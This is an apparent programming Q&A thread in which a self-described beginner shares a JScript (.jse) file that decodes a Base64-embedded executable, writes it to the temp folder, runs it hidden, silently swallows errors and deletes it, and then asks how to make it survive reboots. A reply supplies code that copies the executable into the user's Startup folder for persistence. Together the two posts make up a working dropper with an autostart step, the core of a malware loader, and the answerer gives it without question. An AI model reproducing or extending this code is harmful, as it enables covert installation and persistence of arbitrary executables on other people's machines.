-2

I am making a JSE file , which will decode the Base64 Encoded .exe file , save it to the tmp folder and execute it. But i need to add the .exe file to startup & run everytime the system restarts. I am a beginner in coding , just made this program with various open source codes.

Can anyone help me how to make this to auto startup ? As of now , everything is working good . When i click on the jse file , it runs in background , from decoding to installing the exe . But when i restart , nothing happens.

    var x="Base64valueofexe"; // Here we enter encoded base64 value of our exe

    function decodeBase64(a) {
        var b = new ActiveXObject("Microsoft.XMLDOM");
        var c = b.createElement("tmp");
        c.dataType = "bin.base64";
        c.text = a;
        return c.nodeTypedValue
    }

    function writeBytes(a, b) {
        var c = 1;
        var d = new ActiveXObject("ADODB.Stream");
        d.Type = c;
        d.Open();
        d.Write(b);
        d.SaveToFile(a)
    }

    function writeBase64FileInTemp(a, b) {
        var c = 2;
        var d = new ActiveXObject("Scripting.FileSystemObject");
        var e = d.GetSpecialFolder(c) + "\\" + b;
        writeBytes(e, decodeBase64(a));
        return e
    }

    function deleteFile(a) {
        var b = new ActiveXObject("Scripting.FileSystemObject");
        b.DeleteFile(a)
    }
    var fname = 'abc.exe';
    try {
        var fpath = writeBase64FileInTemp(x, fname);
        var oShell = new ActiveXObject("WScript.Shell");
        oErrCode = oShell.Run(fpath, 0, true);
     deleteFile(fpath)
    } catch (err) {};

This is working well , but anyone pls help me to make this .exe file run evertime after restart.

Krishna
  • 1
  • 1

1 Answers1

0

simply you can copy your executable file into the startup folder. you need to change your code like this:

try {
    var fpath = writeBase64FileInTemp(x, fname);
    var oShell = new ActiveXObject("WScript.Shell");
    var fso = new ActiveXObject("Scripting.FileSystemObject");
    oErrCode = oShell.Run(fpath, 0, true);
    var strUserName = oShell.ExpandEnvironmentStrings("%USERNAME%"); # get current username
    fso.CopyFile (fpath, "C:\\Users\\"+strUserName+"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"); # copy the file into the current user startup folder
    deleteFile(fpath);
} catch (err) {};
lopqto
  • 1